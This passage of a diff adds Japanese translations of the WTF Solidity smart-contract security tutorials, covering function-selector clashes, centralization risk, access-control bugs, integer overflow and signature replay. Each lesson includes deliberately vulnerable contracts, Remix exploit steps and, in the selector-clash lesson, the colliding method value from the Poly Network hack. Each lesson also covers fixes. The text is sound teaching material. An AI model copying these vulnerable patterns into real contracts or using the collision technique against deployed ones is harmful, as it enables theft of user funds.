+ + // 攻撃者が呼び出す必要がある関数だが、呼び出し元 msg.sender は本コントラクトである必要がある。 + function putCurEpochConPubKeyBytes(bytes memory _bytes) public { + require(msg.sender == address(this), "Not Owner"); + solved = true; + } + + // 脆弱性があり、攻撃者は _method 変数を変更して関数セレクターを衝突させ、ターゲット関数を呼び出して攻撃を完了できる。 + function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){ + (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num))); + } +} +``` + +### 攻撃方法 + +我々の目標は`executeCrossChainTx()`関数を利用してコントラクト内の`putCurEpochConPubKeyBytes()`を呼び出すことです。ターゲット関数のセレクターは`0x41973cd9`です。`executeCrossChainTx()`では`_method`パラメータと`"(bytes,bytes,uint64)"`を関数シグネチャとして使用してセレクターを計算していることがわかります。したがって、適切な`_method`を選択して、ここで計算されるセレクターが`0x41973cd9`と等しくなるようにし、セレクタークラッシュを通じてターゲット関数を呼び出すだけです。 + +Poly Networkハッキング事件では、ハッカーが衝突させた`_method`は`f1121318093`でした。つまり、`f1121318093(bytes,bytes,uint64)`のハッシュの最初の4桁も`0x41973cd9`で、関数を正常に呼び出すことができます。次に行うべきことは、`f1121318093`を`bytes`型に変換することです:`0x6631313231333138303933`、そしてこれをパラメータとして`executeCrossChainTx()`に入力します。`executeCrossChainTx()`関数の他の3つのパラメータは重要ではないので、`0x`、`0x`、`0`を入力します。 + +## `Remix`デモ + +1. `SelectorClash`コントラクトをデプロイします。 +2. `executeCrossChainTx()`を呼び出し、パラメータに`0x6631313231333138303933`、`0x`、`0x`、`0`を入力して攻撃を開始します。 +3. `solved`変数の値を確認すると、`true`に変更されており、攻撃が成功したことがわかります。 + +## まとめ + +今回は、セレクタークラッシュ攻撃について紹介しました。これは、クロスチェーンブリッジPoly Networkが6.1億ドルを盗まれた原因の一つです。この攻撃は以下のことを教えてくれます: + +1. 関数セレクターは簡単に衝突させることができ、パラメータの型を変更しても、同じセレクターを持つ関数を構築することができます。 + +2. コントラクト関数の権限を適切に管理し、特別な権限を持つコントラクト関数がユーザーによって呼び出されないようにしてください。 \ No newline at end of file diff --git a/Languages/ja/S03_Centralization_ja/readme.md b/Languages/ja/S03_Centralization_ja/readme.md new file mode 100644 index 000000000..9872416f7 --- /dev/null +++ b/Languages/ja/S03_Centralization_ja/readme.md @@ -0,0 +1,76 @@ +--- +title: S03. 中央集権化リスク +tags: + - solidity + - security + - multisig +--- + +# WTF Solidity 合約セキュリティ: S03. 中央集権化リスク + +私は最近Solidityを学び直して詳細を固めており、「WTF Solidity 合約セキュリティ」を書いています。初心者向けの内容で(プログラミング上級者は他のチュートリアルをお探しください)、毎週1-3講座を更新しています。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、スマートコントラクトにおける中央集権化と偽分散化がもたらすリスクについて紹介します。`Ronin`ブリッジと`Harmony`ブリッジはこの脆弱性によりハッカーの攻撃を受け、それぞれ6.24億ドルと1億ドルを盗まれました。 + +## 中央集権化リスク + +私たちはよくWeb3の分散化を誇りに思い、Web3.0の世界では所有権と制御権がすべて分散化されていると考えています。しかし実際には、中央集権化はWeb3プロジェクトで最も一般的なリスクの一つです。著名なブロックチェーン監査会社Certikは[2021年DeFiセキュリティレポート](https://f.hubspotusercontent40.net/hubfs/4972390/Marketing/defi%20security%20report%202021-v6.pdf)で次のように指摘しています: + +> 中央集権化リスクはDeFiで最も一般的な脆弱性であり、2021年には44回のDeFiハッキング攻撃がこれと関連し、ユーザー資金の損失は13億ドルを超えました。これは分散化の重要性を強調しており、多くのプロジェクトがまだこの目標の実現に向けて努力する必要があります。 + +中央集権化リスクとは、スマートコントラクトの所有権が中央集権化されていることを指します。例えば、コントラクトの`owner`が一つのアドレスによって制御され、コントラクトのパラメータを自由に変更したり、ユーザー資金を引き出したりできる状況です。中央集権化されたプロジェクトには単一障害点のリスクがあり、悪意のある開発者(内部犯行)やハッカーに利用される可能性があります。制御権限を持つアドレスの秘密鍵を取得された後、`rug-pull`、無限ミント、その他の手法で資金を盗むことができます。 + +チェーンゲームプロジェクト`Vulcan Forged`は2021年12月に秘密鍵の漏洩により1.4億ドルを盗まれ、DeFiプロジェクト`EasyFi`は2021年4月に秘密鍵の漏洩により5900万ドルを盗まれ、DeFiプロジェクト`bZx`はフィッシング攻撃で秘密鍵が漏洩し5500万ドルを盗まれました。 + +## 偽分散化リスク + +偽分散化のプロジェクトは通常、外部に対して自分たちが分散化されていると宣伝していますが、実際には中央集権化プロジェクトと同様に単一障害点のリスクを抱えています。例えば、マルチシグウォレットを使用してスマートコントラクトを管理しているが、複数のマルチシグ参加者が一致行動者で、背後では一人によって制御されている場合です。このようなプロジェクトは非常に分散化されているように包装されているため、投資家の信頼を得やすく、そのためハッキング事件が発生した際の被害額も往々にして大きくなります。 + +近年爆発的に人気となったチェーンゲームプロジェクトAxieのRoninチェーンクロスチェーンブリッジプロジェクトは、2022年3月に6.24億ドルを盗まれ、これは史上最大の被害額を記録した事件です。Roninクロスチェーンブリッジは9つのバリデーターによって維持され、預金と引き出し取引を承認するには5人の合意が必要でした。これはマルチシグのようで、非常に分散化されているように見えました。しかし実際には、そのうち4つのバリデーターはAxieの開発会社Sky Mavisによって制御され、さらにAxie DAOによって制御されている別の1つのバリデーターもSky Mavisバリデーターノードが代理で取引に署名することを承認していました。そのため、攻撃者がSky Mavisの秘密鍵を取得した後(具体的な方法は未公開)、5つのバリデーターノードを制御し、173,600 ETHと2550万USDCの盗取を承認することができました。さらに、2023年8月1日には、PEPEマルチシグウォレットが閾値を`5/8`から僅か`2/8`に変更し、マルチシグアドレスから大量のPEPEを転出しました。これも偽分散化の表れです。 + +`Harmony`公開チェーンのクロスチェーンブリッジは2022年6月に1億ドルを盗まれました。`Harmony`ブリッジは5つのマルチシグ参加者によって制御され、非常に驚くべきことに、そのうち2人の署名だけで取引を承認できました。ハッカーが2つのマルチシグ参加者の秘密鍵を盗取することに成功した後、ユーザーがステーキングした資産を空にしました。 + +![](./img/S03-1.png) + +## 脆弱性コントラクトの例 + +中央集権化リスクを持つコントラクトは多種多様ですが、ここでは最も一般的な例を一つ挙げます:`owner`アドレスが任意にトークンをミントできる`ERC20`コントラクトです。プロジェクトの内部犯行者やハッカーが`owner`の秘密鍵を取得した後、無限にコインをミントでき、投資家に大きな損失をもたらします。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract Centralization is ERC20, Ownable { + constructor() ERC20("Centralization", "Cent") { + address exposedAccount = 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2; + transferOwnership(exposedAccount); + } + + function mint(address to, uint256 amount) external onlyOwner{ + _mint(to, amount); + } +} +``` + +## 中央集権化/偽分散化リスクを減らす方法は? + +1. マルチシグウォレットを使用して国庫を管理し、コントラクトパラメータを制御する。効率性と分散化を両立させるため、4/7または6/9マルチシグを選択できます。マルチシグウォレットについて詳しく知らない場合は、[WTF Solidity 第50講:マルチシグウォレット](https://github.com/AmazingAng/WTF-Solidity/blob/main/50_MultisigWallet/readme.md)をお読みください。 + +2. マルチシグの保有者を多様化し、創設チーム、投資家、コミュニティリーダーの間に分散させ、相互に署名を委任しないようにする。 + +3. タイムロックを使用してコントラクトを制御し、ハッカーやプロジェクト内部犯行者がコントラクトパラメータを変更/資産を盗取する際に、プロジェクト側とコミュニティが対応する時間を確保し、損失を最小限に抑える。タイムロックコントラクトについて詳しく知らない場合は、[WTF Solidity 第45講:タイムロック](https://github.com/AmazingAng/WTF-Solidity/blob/main/45_Timelock/readme.md)をお読みください。 + +## まとめ + +中央集権化/偽分散化は、ブロックチェーンプロジェクトの最大のリスクであり、近年でユーザー資金の損失は20億ドルを超えています。中央集権化リスクはコントラクトコードを分析することで発見できますが、偽分散化リスクはより深く隠されており、プロジェクトに対する詳細なデューデリジェンスを行って初めて発見できます。 \ No newline at end of file diff --git a/Languages/ja/S04_AccessControlExploit_ja/readme.md b/Languages/ja/S04_AccessControlExploit_ja/readme.md new file mode 100644 index 000000000..a377abd01 --- /dev/null +++ b/Languages/ja/S04_AccessControlExploit_ja/readme.md @@ -0,0 +1,83 @@ +--- +title: S04. アクセス制御脆弱性 +tags: + - solidity + - security + - modifier + - erc20 +--- + +# WTF Solidity 合約セキュリティ: S04. アクセス制御脆弱性 + +私は最近Solidityを学び直して詳細を固めており、「WTF Solidity 合約セキュリティ」を書いています。初心者向けの内容で(プログラミング上級者は他のチュートリアルをお探しください)、毎週1-3講座を更新しています。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、スマートコントラクトのアクセス制御脆弱性について紹介します。この脆弱性により、クロスチェーンブリッジPoly Networkが6.11億ドルを盗まれ、BSC上のDeFiプロジェクトShadowFiが$300,000を盗まれました。 + +## アクセス制御脆弱性 + +スマートコントラクトにおけるアクセス制御は、アプリケーション内での異なる役割の権限を定義します。通常、トークンのミント、資金の引き出し、一時停止などの機能は、高い権限を持つユーザーのみが呼び出すことができます。アクセス制御の設定が間違っていると、予期しない損失を引き起こす可能性があります。以下では、2つの一般的なアクセス制御脆弱性を紹介します。 + +### 1. アクセス制御設定エラー + +コントラクト内の特別な機能にアクセス制御が設定されていない場合、誰でも大量のトークンをミントしたり、コントラクト内の資金を引き出したりすることができます。クロスチェーンブリッジPoly Networkのコントラクトでは、ガーディアンを変更する関数に適切なアクセス制御が設定されておらず、ハッカーが自分のアドレスに変更し、コントラクトから6.11億ドルを引き出すことができました。 + +以下のコードでは、`mint()`関数にアクセス制御が設定されていないため、誰でもこれを呼び出してトークンをミントできます。 + +```solidity +// 間違ったmint関数、アクセス制御が制限されていない +function badMint(address to, uint amount) public { + _mint(to, amount); +} +``` + +![](./img/S04-1.png) + +### 2. 認可チェックエラー + +もう一つの一般的なアクセス制御脆弱性は、関数内で呼び出し元が十分な認可を持っているかをチェックしていないことです。BSC上のDeFiプロジェクトShadowFiのトークンコントラクトは、`burn()`バーン関数で呼び出し元の認可額をチェックし忘れ、攻撃者が他のアドレスのトークンを任意にバーンできる状況を生み出しました。ハッカーが流動性プール内のトークンをバーンした後、少量のトークンを売却するだけでプール内のすべての`BNB`を引き出すことができ、$300,000の利益を得ました。 + +```solidity +// 間違ったburn関数、アクセス制御が制限されていない +function badBurn(address account, uint amount) public { + _burn(account, amount); +} +``` + +![](./img/S04-2.png) + +## 予防方法 + +アクセス制御脆弱性には主に2つの予防方法があります: + +1. Openzeppelinのアクセス制御ライブラリを使用して、コントラクトの特別な関数に適切なアクセス制御を設定する。例えば、`OnlyOwner`モディファイアを使用して、コントラクト所有者のみが呼び出せるようにします。 + + ```solidity + // 正しいmint関数、onlyOwner モディファイアでアクセス制御を制限 + function goodMint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + ``` + +2. 関数のロジック内で、コントラクト呼び出し元が十分な認可を持っていることを確認する。 + + ```solidity + // 正しいburn関数、自分以外のトークンをバーンする場合は認可をチェック + function goodBurn(address account, uint amount) public { + if(msg.sender != account){ + _spendAllowance(account, msg.sender, amount); + } + _burn(account, amount); + } + ``` + +## まとめ + +今回は、スマートコントラクトにおけるアクセス制御脆弱性について紹介しました。主に2つの形式があります:アクセス制御設定エラーと認可チェックエラーです。この類の脆弱性を避けるために、アクセス制御ライブラリを使用して特別な関数に適切なアクセス制御を設定し、関数のロジック内でコントラクト呼び出し元が十分な認可を持っていることを確認する必要があります。 \ No newline at end of file diff --git a/Languages/ja/S05_Overflow_ja/Overflow.sol b/Languages/ja/S05_Overflow_ja/Overflow.sol new file mode 100644 index 000000000..a278a6266 --- /dev/null +++ b/Languages/ja/S05_Overflow_ja/Overflow.sol @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +/** + * @title 整数オーバーフロー脆弱性のデモ + * @dev このコントラクトは教育目的で整数オーバーフロー脆弱性を含んでいます。 + * 本番環境では絶対に使用しないでください。 + */ +contract Token { + // 各アドレスのトークン残高を記録 + mapping(address => uint) balances; + + // トークンの総供給量 + uint public totalSupply; + + /** + * @dev コンストラクタ:初期供給量を設定 + * @param _initialSupply 初期トークン供給量 + */ + constructor(uint _initialSupply) { + balances[msg.sender] = totalSupply = _initialSupply; + } + + /** + * @dev トークン送金関数 - 整数オーバーフロー脆弱性あり + * @param _to 送金先アドレス + * @param _value 送金額 + * @return 送金成功の可否 + * + * 脆弱性:uncheckedブロック内で残高チェックが行われているため、 + * 整数アンダーフローにより不正な送金が可能になります。 + */ + function transfer(address _to, uint _value) public returns (bool) { + unchecked{ + // 危険:整数アンダーフローによりこのチェックを回避可能 + require(balances[msg.sender] - _value >= 0); + balances[msg.sender] -= _value; + balances[_to] += _value; + } + return true; + } + + /** + * @dev 残高照会関数 + * @param _owner 残高を照会するアドレス + * @return balance 指定アドレスの残高 + */ + function balanceOf(address _owner) public view returns (uint balance) { + return balances[_owner]; + } +} \ No newline at end of file diff --git a/Languages/ja/S05_Overflow_ja/SafeToken.sol b/Languages/ja/S05_Overflow_ja/SafeToken.sol new file mode 100644 index 000000000..58fc1781c --- /dev/null +++ b/Languages/ja/S05_Overflow_ja/SafeToken.sol @@ -0,0 +1,132 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +/** + * @title 安全なトークンコントラクト - 整数オーバーフロー保護あり + * @dev このコントラクトは適切な整数オーバーフロー保護を実装しています。 + * Solidity 0.8.0以降の内蔵SafeMath機能を活用しています。 + */ +contract SafeToken { + // 各アドレスの残高を記録するマッピング + mapping(address => uint) balances; + + // トークンの総供給量 + uint public totalSupply; + + // イベント:送金が発生した際に発行 + event Transfer(address indexed from, address indexed to, uint value); + + /** + * @dev コンストラクタ - トークンの初期供給量を設定 + * @param _initialSupply トークンの初期総供給量 + */ + constructor(uint _initialSupply) { + // デプロイヤーに全ての初期供給量を割り当て + balances[msg.sender] = totalSupply = _initialSupply; + emit Transfer(address(0), msg.sender, _initialSupply); + } + + /** + * @dev 安全なトークン送金関数 - 方法1: Solidity 0.8.0+の内蔵保護を使用 + * @param _to 送金先のアドレス + * @param _value 送金するトークン量 + * @return 送金が成功したかどうか + * + * 安全性の説明: + * - uncheckedブロックを使用していないため、Solidity 0.8.0+の + * 内蔵オーバーフロー/アンダーフローチェックが有効 + * - 残高不足の場合、減算時に自動的にリバートされる + * - 明示的な残高チェックも追加でセキュリティを強化 + */ + function transfer(address _to, uint _value) public returns (bool) { + // 明示的な残高チェック(内蔵チェックに加えた追加保護) + require(balances[msg.sender] >= _value, "残高不足です"); + require(_to != address(0), "無効なアドレスです"); + + // Solidity 0.8.0+では、これらの計算で自動的にオーバーフローチェックされる + balances[msg.sender] -= _value; // 残高不足の場合、ここで自動的にリバート + balances[_to] += _value; + + emit Transfer(msg.sender, _to, _value); + return true; + } + + /** + * @dev uncheckedブロックを安全に使用する送金関数の例 + * @param _to 送金先のアドレス + * @param _value 送金するトークン量 + * @return 送金が成功したかどうか + * + * 注意:uncheckedを使用する場合は、事前に十分なチェックが必要 + */ + function transferWithUnchecked(address _to, uint _value) public returns (bool) { + // uncheckedブロックを使用する前に、必要なチェックを実行 + require(_to != address(0), "無効なアドレスです"); + require(balances[msg.sender] >= _value, "残高不足です"); + + unchecked { + // 事前チェックにより、ここでのオーバーフローは発生しないことが保証されている + balances[msg.sender] -= _value; + balances[_to] += _value; + } + + emit Transfer(msg.sender, _to, _value); + return true; + } + + /** + * @dev 指定されたアドレスの残高を照会 + * @param _owner 残高を照会するアドレス + * @return balance そのアドレスのトークン残高 + */ + function balanceOf(address _owner) public view returns (uint balance) { + return balances[_owner]; + } + + /** + * @dev 承認機能付きの送金(ERC-20標準に近い実装) + * @param _from 送金元のアドレス + * @param _to 送金先のアドレス + * @param _value 送金するトークン量 + * @return 送金が成功したかどうか + */ + mapping(address => mapping(address => uint)) public allowance; + + function approve(address _spender, uint _value) public returns (bool) { + allowance[msg.sender][_spender] = _value; + return true; + } + + function transferFrom(address _from, address _to, uint _value) public returns (bool) { + require(_to != address(0), "無効なアドレスです"); + require(balances[_from] >= _value, "送金元の残高不足です"); + require(allowance[_from][msg.sender] >= _value, "承認額不足です"); + + // すべてのチェックが完了してから状態を更新 + balances[_from] -= _value; + balances[_to] += _value; + allowance[_from][msg.sender] -= _value; + + emit Transfer(_from, _to, _value); + return true; + } + + /** + * @dev 安全性テスト関数 - 様々な境界値での動作を確認 + */ + function securityTest() public view returns (bool) { + // 最大値近くでの計算をテスト + uint maxUint = type(uint).max; + + // これらの計算は安全で、オーバーフローする場合はリバートされる + try this.testOverflow(maxUint, 1) { + return false; // オーバーフローが発生しなかった場合(予期しない) + } catch { + return true; // 正常にオーバーフローが検出されリバートした + } + } + + function testOverflow(uint a, uint b) external pure returns (uint) { + return a + b; // オーバーフローする場合はリバート + } +} \ No newline at end of file diff --git a/Languages/ja/S05_Overflow_ja/VulnerableToken.sol b/Languages/ja/S05_Overflow_ja/VulnerableToken.sol new file mode 100644 index 000000000..e1660e694 --- /dev/null +++ b/Languages/ja/S05_Overflow_ja/VulnerableToken.sol @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +/** + * @title 脆弱なトークンコントラクト - 整数オーバーフロー脆弱性のデモ + * @dev このコントラクトには意図的に整数オーバーフロー脆弱性が含まれています。 + * 教育目的でのみ使用し、本番環境では使用しないでください。 + */ +contract VulnerableToken { + // 各アドレスの残高を記録するマッピング + mapping(address => uint) balances; + + // トークンの総供給量 + uint public totalSupply; + + /** + * @dev コンストラクタ - トークンの初期供給量を設定 + * @param _initialSupply トークンの初期総供給量 + */ + constructor(uint _initialSupply) { + // デプロイヤーに全ての初期供給量を割り当て + balances[msg.sender] = totalSupply = _initialSupply; + } + + /** + * @dev トークン送金関数 - 整数オーバーフロー脆弱性あり + * @param _to 送金先のアドレス + * @param _value 送金するトークン量 + * @return 送金が成功したかどうか + * + * 脆弱性の説明: + * uncheckedブロック内では整数オーバーフローチェックが無効になります。 + * balances[msg.sender] - _value の計算で、 + * 送信者の残高が_valueより少ない場合、アンダーフローが発生し、 + * 非常に大きな数値(2^256に近い値)になります。 + * この大きな値は >= 0 の条件を満たすため、requireチェックを通過してしまいます。 + */ + function transfer(address _to, uint _value) public returns (bool) { + unchecked { + // 危険:整数アンダーフローによりこのチェックが無効化される + // 例:残高が100で、1000を送金しようとすると、 + // 100 - 1000 = アンダーフロー → 非常に大きな正の数 + require(balances[msg.sender] - _value >= 0); + + // 送信者の残高を減らす(アンダーフローが発生する可能性) + balances[msg.sender] -= _value; + + // 受信者の残高を増やす + balances[_to] += _value; + } + return true; + } + + /** + * @dev 指定されたアドレスの残高を照会 + * @param _owner 残高を照会するアドレス + * @return balance そのアドレスのトークン残高 + */ + function balanceOf(address _owner) public view returns (uint balance) { + return balances[_owner]; + } + + /** + * @dev 攻撃のデモンストレーション関数 + * @notice この関数は脆弱性がどのように悪用されるかを示します + */ + function demonstrateAttack() public { + // 攻撃者の初期残高を確認(通常は0またはごく少量) + uint initialBalance = balances[msg.sender]; + + // 実際の残高を超える大量のトークンを送金しようと試みる + // 例:残高が0でも1000トークンを送金 + transfer(address(0x1), 1000); + + // 攻撃後の残高を確認(非常に大きな値になる) + uint finalBalance = balances[msg.sender]; + + // この時点で、攻撃者の残高は約2^256 - 1000になっている + } +} \ No newline at end of file diff --git a/Languages/ja/S05_Overflow_ja/img/S05-1.png b/Languages/ja/S05_Overflow_ja/img/S05-1.png new file mode 100644 index 000000000..86a36db65 Binary files /dev/null and b/Languages/ja/S05_Overflow_ja/img/S05-1.png differ diff --git a/Languages/ja/S05_Overflow_ja/readme.md b/Languages/ja/S05_Overflow_ja/readme.md new file mode 100644 index 000000000..7094c54c3 --- /dev/null +++ b/Languages/ja/S05_Overflow_ja/readme.md @@ -0,0 +1,84 @@ +--- +title: S05. 整数オーバーフロー +tags: + - solidity + - security +--- + +# WTF Solidity コントラクトセキュリティ: S05. 整数オーバーフロー + +最近、私はSolidityを再学習し、詳細を固めながら、初心者向けの「WTF Solidityコントラクトセキュリティ」を執筆しています(プログラミング上級者は他のチュートリアルを探してください)。毎週1-3回更新予定です。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk) | [Wechatグループ](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回のレッスンでは、整数オーバーフロー脆弱性(Arithmetic Over/Under Flows)について説明します。これは比較的古典的な脆弱性で、Solidity 0.8版以降ではSafemathライブラリが内蔵されているため、現在はほとんど発生しません。 + +## 整数オーバーフロー + +イーサリアム仮想マシン(EVM)は整数型に固定サイズを設定しているため、特定の範囲の数値しか表現できません。例えば、`uint8`は[0,255]の範囲の数値しか表現できません。`uint8`型の変数に`257`を代入すると、オーバーフロー(overflow)が発生して`1`になります。`-1`を代入すると、アンダーフロー(underflow)が発生して`255`になります。 + +攻撃者はこの脆弱性を利用して攻撃を行うことができます:残高が`0`のハッカーが突然`$1`を支出した後、残高が`$2^256-1`になることを想像してください。2018年の土狗プロジェクト`PoWHC`は、この脆弱性により`866 ETH`を盗まれました。 + +![](./img/S05-1.png) + +## 脆弱なコントラクトの例 + +以下の例は、`Ethernaut`のコントラクトを参考にしたシンプルなトークンコントラクトです。`2`つの状態変数があります:`balances`は各アドレスの残高を記録し、`totalSupply`はトークンの総供給量を記録します。 + +`3`つの関数があります: + +- コンストラクタ:トークンの総供給量を初期化 +- `transfer()`:送金関数 +- `balanceOf()`:残高照会関数 + +solidity `0.8.0`版以降では整数オーバーフローエラーが自動的にチェックされ、オーバーフロー時にはエラーが発生します。この脆弱性を再現するには、`unchecked`キーワードを使用してコードブロック内で一時的にオーバーフローチェックを無効にする必要があります。これは`transfer()`関数で行っているとおりです。 + +この例の脆弱性は`transfer()`関数の`require(balances[msg.sender] - _value >= 0);`のチェックにあります。整数オーバーフローにより、このチェックは常に通過してしまいます。そのため、ユーザーは無制限に送金できてしまいます。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Token { + mapping(address => uint) balances; + uint public totalSupply; + + constructor(uint _initialSupply) { + balances[msg.sender] = totalSupply = _initialSupply; + } + + function transfer(address _to, uint _value) public returns (bool) { + unchecked{ + require(balances[msg.sender] - _value >= 0); + balances[msg.sender] -= _value; + balances[_to] += _value; + } + return true; + } + function balanceOf(address _owner) public view returns (uint balance) { + return balances[_owner]; + } +} +``` + +## `Remix`での再現 + +1. `Token`コントラクトをデプロイし、総供給量を`100`に設定する。 +2. 別のアカウントに`1000`トークンを送金する。送金は成功する。 +3. 自分のアカウントの残高を照会すると、非常に大きな数値(約`2^256`)になっていることがわかる。 + +## 予防方法 + +1. Solidity `0.8.0`以前のバージョンでは、コントラクト内で[Safemathライブラリ](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.9/contracts/utils/math/SafeMath.sol)を参照し、整数オーバーフロー時にエラーを発生させる。 + +2. Solidity `0.8.0`以降のバージョンでは`Safemath`が内蔵されているため、この種の問題はほとんど存在しません。開発者がガス節約のために`unchecked`キーワードを使用してコードブロック内で一時的に整数オーバーフローチェックを無効にする場合は、整数オーバーフロー脆弱性が存在しないことを確認する必要があります。 + +## まとめ + +今回のレッスンでは、古典的な整数オーバーフロー脆弱性について紹介しました。solidity 0.8.0版以降で`Safemath`の整数オーバーフローチェックが内蔵されたため、この種の脆弱性は既に非常に稀になっています。 \ No newline at end of file diff --git a/Languages/ja/S06_SignatureReplay_ja/readme.md b/Languages/ja/S06_SignatureReplay_ja/readme.md new file mode 100644 index 000000000..65d44e25f --- /dev/null +++ b/Languages/ja/S06_SignatureReplay_ja/readme.md @@ -0,0 +1,177 @@ +--- +title: S06. 署名リプレイ +tags: + - solidity + - security + - signature +--- + +# WTF Solidity 合約セキュリティ: S06. 署名リプレイ + +私は最近Solidityを学び直して詳細を固めており、「WTF Solidity 合約セキュリティ」を書いています。初心者向けの内容で(プログラミング上級者は他のチュートリアルをお探しください)、毎週1-3講座を更新しています。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、スマートコントラクトの署名リプレイ(Signature Replay)攻撃と予防方法について紹介します。この攻撃は間接的に著名なマーケットメーカーWintermuteが2000万枚の$OPを盗まれる原因となりました。 + +## 署名リプレイ + +学生時代、先生はよく親の署名を求めましたが、時々親が忙しい時、私は「親切に」以前の署名を真似して書き写していました。ある意味で、これが署名リプレイです。 + +ブロックチェーンにおいて、デジタル署名はデータの署名者を特定し、データの完全性を検証するために使用できます。取引を送信する際、ユーザーは秘密鍵で取引に署名し、他の人が取引が対応するアカウントから発行されたことを検証できるようにします。スマートコントラクトも`ECDSA`アルゴリズムを利用して、ユーザーがオフチェーンで作成した署名を検証し、その後ミントや転送などのロジックを実行できます。デジタル署名の詳細については、[WTF Solidity第37講:デジタル署名](https://github.com/AmazingAng/WTF-Solidity/blob/main/37_Signature/readme.md)をご覧ください。 + +デジタル署名には一般的に2つのリプレイ攻撃があります: + +1. 通常のリプレイ:本来一度だけ使用すべき署名を複数回使用する。NBA公式が発行した《The Association》シリーズNFTがこの攻撃により上万枚が無料でミントされました。 +2. クロスチェーンリプレイ:本来一つのチェーンで使用すべき署名を、別のチェーンで再利用する。マーケットメーカーWintermuteがクロスチェーンリプレイ攻撃により2000万枚の$OPを盗まれました。 + +![](./img/S06-1.png) + +## 脆弱性コントラクトの例 + +以下の`SigReplay`コントラクトは`ERC20`トークンコントラクトで、ミント関数に署名リプレイ脆弱性があります。これはオフチェーン署名を使用してホワイトリストアドレス`to`が対応する数量`amount`のトークンをミントできるようにします。コントラクト内には`signer`アドレスが保存されており、署名が有効かどうかを検証します。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +// アクセス制御エラーの例 +contract SigReplay is ERC20 { + + address public signer; + + // コンストラクタ:トークン名と記号を初期化 + constructor() ERC20("SigReplay", "Replay") { + signer = msg.sender; + } + + /** + * 署名リプレイ脆弱性があるミント関数 + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * 署名: 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b + */ + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } + + /** + * toアドレス(address型)とamount(uint256型)をメッセージmsgHashに結合 + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * 対応するメッセージmsgHash: 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be + */ + function getMessageHash(address to, uint256 amount) public pure returns(bytes32){ + return keccak256(abi.encodePacked(to, amount)); + } + + /** + * @dev イーサリアム署名メッセージを取得 + * `hash`:メッセージハッシュ + * イーサリアム署名標準に準拠:https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * および`EIP191`:https://eips.ethereum.org/EIPS/eip-191` + * "\x19Ethereum Signed Message:\n32"フィールドを追加し、実行可能な取引への署名を防ぐ。 + */ + function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { + // 32 is the length in bytes of hash, + // enforced by the type signature above + return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } + + // ECDSA検証 + function verify(bytes32 _msgHash, bytes memory _signature) public view returns 